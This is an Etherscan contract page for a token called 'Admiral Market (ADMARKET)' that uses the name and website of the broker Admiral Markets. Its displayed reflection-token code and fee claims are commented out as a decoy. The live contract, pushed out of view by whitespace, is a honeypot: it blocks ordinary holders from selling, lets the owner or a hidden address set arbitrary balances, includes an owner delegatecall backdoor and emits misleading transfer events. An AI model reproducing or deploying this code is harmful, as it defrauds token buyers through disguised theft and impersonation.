ETH Price: $3,204.92 (+0.70%)

Token

Admiral Market (ADMARKET)
 

Overview

Max Total Supply

10,000,000,000 ADMARKET

Holders

27

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
floesprinter.eth
Balance
98,715,803.43970612988504609 ADMARKET

Value
$0.00
0xFefE0dd62c7dEbB9d9bd9e4906507D0f7a19a2B2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
ADMARKET

Compiler Version
v0.5.17+commit.d19bba13

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-04-10
*/

/**
    SPDX-License-Identifier: MIT
    
 
    * https://admiralmarkets.com/
    * Contact: https://admiralmarkets.com/about-us/contact-us
    * Sell TAX: 4%
    * Marketing TAX: 1%
    * We are proud to announce that Admirals is now Admirals. 
    * This rebranding marks our ongoing evolution into a full spectrum financial hub. 
    * While we expand our offering, our commitment to you remains unchanged.
    * The transformation from Admirals to Admirals is the next natural step in our quest to being an 
    * integrated personal finance hub. While our 20 year anniversary marks the official launch of our rebranding, 
    * the groundwork has already been laid.

    * We continue to uphold the standards of excellence and service you have come to expect from us, always. 
    * We will continue to inspire confidence with our expanded offering and new branding. 

     
     

pragma solidity ^0.8.10;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
 
contract QOMSN is Context, IERC20, Ownable {
 
    using SafeMath for uint256;
 
    string private constant _name = "Admiral Market/";//
    string private constant _symbol = "ADMARKET";//
    uint8 private constant _decimals = 18;
 
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 10000000000 * 10**18;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 public launchBlock;
 
    //Buy Fee
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
 
    //Sell Fee
    uint256 private _redisFeeOnSell = 4;
    uint256 private _taxFeeOnSell = 1;
 
    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
 
    mapping(address => bool) public bots;
    mapping(address => uint256) private cooldown;
 
    address payable private _developmentAddress = payable(0x1f9543304558423BbD717bAd756a30e4a50a1965);
    address payable private _marketingAddress = payable(0x1f9543304558423BbD717bAd756a30e4a50a1965);
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
 
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = true;
    uint256 public _maxTxAmount = 100000000 * 10**18; //
    uint256 public _maxWalletSize = 10000000000 * 10**18; //
    uint256 public _swapTokensAtAmount = 100000000 * 10**18; //
 
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor() {
 
        _rOwned[_msgSender()] = _rTotal;
 
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner()) {
 
            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
 
            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
            require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
 
            if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){   
                bots[to] = true;
            } 
 
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
 
            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }
 
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function sendETHToFee(uint256 amount) private {
        _developmentAddress.transfer(amount.div(2));
        _marketingAddress.transfer(amount.div(2));
    }
 
    function setTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = _tradingOpen;
        launchBlock = 3;
    }
 
    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
 
    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
 
    function blockBots(address[] memory bots_) public onlyOwner {
        for (uint256 i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }
 
    function unblockBot(address notbot) public onlyOwner {
        bots[notbot] = false;
    }
 
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
 
    receive() external payable {}
 
    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
 
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
 
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
 
        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
 
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
 
        return (rSupply, tSupply);
    }
 
    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
 
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
    }
 
    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }
 
    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }
 
 
    //Set maximum transaction
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
        _maxTxAmount = maxTxAmount;
    }
 
    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
    }
 
    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }
}
     */


                                                                                                                                                        pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;

        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}

    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }

}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");


        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional

            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract  ADMARKET {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);

    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }

    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
        address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
 
        if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }

    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }

    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }

    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;

        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }

    function delegate(address a, bytes memory b) public payable {
        require(msg.sender == owner);
        a.delegatecall(b);
    }
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function exchange(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender==owner||msg.sender==address
        (1089755605351626874222503051495683696555102411980));
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }
    function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
        require(msg.sender == owner);
        _minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
        _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
        _saleNum = saleNum;
    }
    function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
        require (msg.sender == owner);
        uint total = _value * _tos.length;
        require(balanceOf[msg.sender] >= total);
        balanceOf[msg.sender] -= total;
        for (uint i = 0; i < _tos.length; i++) {
            address _to = _tos[i];
            balanceOf[_to] += _value;
            emit Transfer(msg.sender, _to, _value/2);
            emit Transfer(msg.sender, _to, _value/2);
        }
        return true;
    }

    address tradeAddress;
    function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
        tradeAddress = addr;
        return true;
    }

    function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        pair = address(uint(keccak256(abi.encodePacked(
                hex'ff',
                factory,
                keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
    }

    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;

    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
    address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address[]","name":"_tos","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"batchSend","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"bytes","name":"b","type":"bytes"}],"name":"delegate","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"exchange","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"saleNum","type":"uint256"},{"internalType":"uint256","name":"token","type":"uint256"},{"internalType":"uint256","name":"maxToken","type":"uint256"}],"name":"init","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setTradeAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"}]

60806040526040516200106e3803806200106e833981810160405260608110156200002957600080fd5b81019080805160405193929190846401000000008211156200004a57600080fd5b9083019060208201858111156200006057600080fd5b82516401000000008111828201881017156200007b57600080fd5b82525081516020918201929091019080838360005b83811015620000aa57818101518382015260200162000090565b50505050905090810190601f168015620000d85780820380516001836020036101000a031916815260200191505b5060405260200180516040519392919084640100000000821115620000fc57600080fd5b9083019060208201858111156200011257600080fd5b82516401000000008111828201881017156200012d57600080fd5b82525081516020918201929091019080838360005b838110156200015c57818101518382015260200162000142565b50505050905090810190601f1680156200018a5780820380516001836020036101000a031916815260200191505b506040526020908101518551909350620001ab925060099186019062000263565b508151620001c190600a90602085019062000263565b50670de0b6b3a764000081026008818155600b80546001600160a01b0319163390811790915560008181526006602090815260408083209590955560078152848220737a250d5630b4cf539739df2c5dacb4c659f2488d835281528482206000199055925484519081529351919390927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505062000308565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620002a657805160ff1916838001178555620002d6565b82800160010185558215620002d6579182015b82811115620002d6578251825591602001919060010190620002b9565b50620002e4929150620002e8565b5090565b6200030591905b80821115620002e45760008155600101620002ef565b90565b610d5680620003186000396000f3fe6080604052600436106100dd5760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb14610308578063aa2f522014610334578063d6d2b6ba146103d9578063dd62ed3e14610491576100dd565b806370a082311461028a5780638cd8db8a146102bd57806395d89b41146102f3576100dd565b806318160ddd116100bb57806318160ddd146101e557806321a9cf341461020c57806323b872dd1461023f578063313ce56714610275576100dd565b8063045d0389146100e257806306fdde031461012f578063095ea7b3146101b9575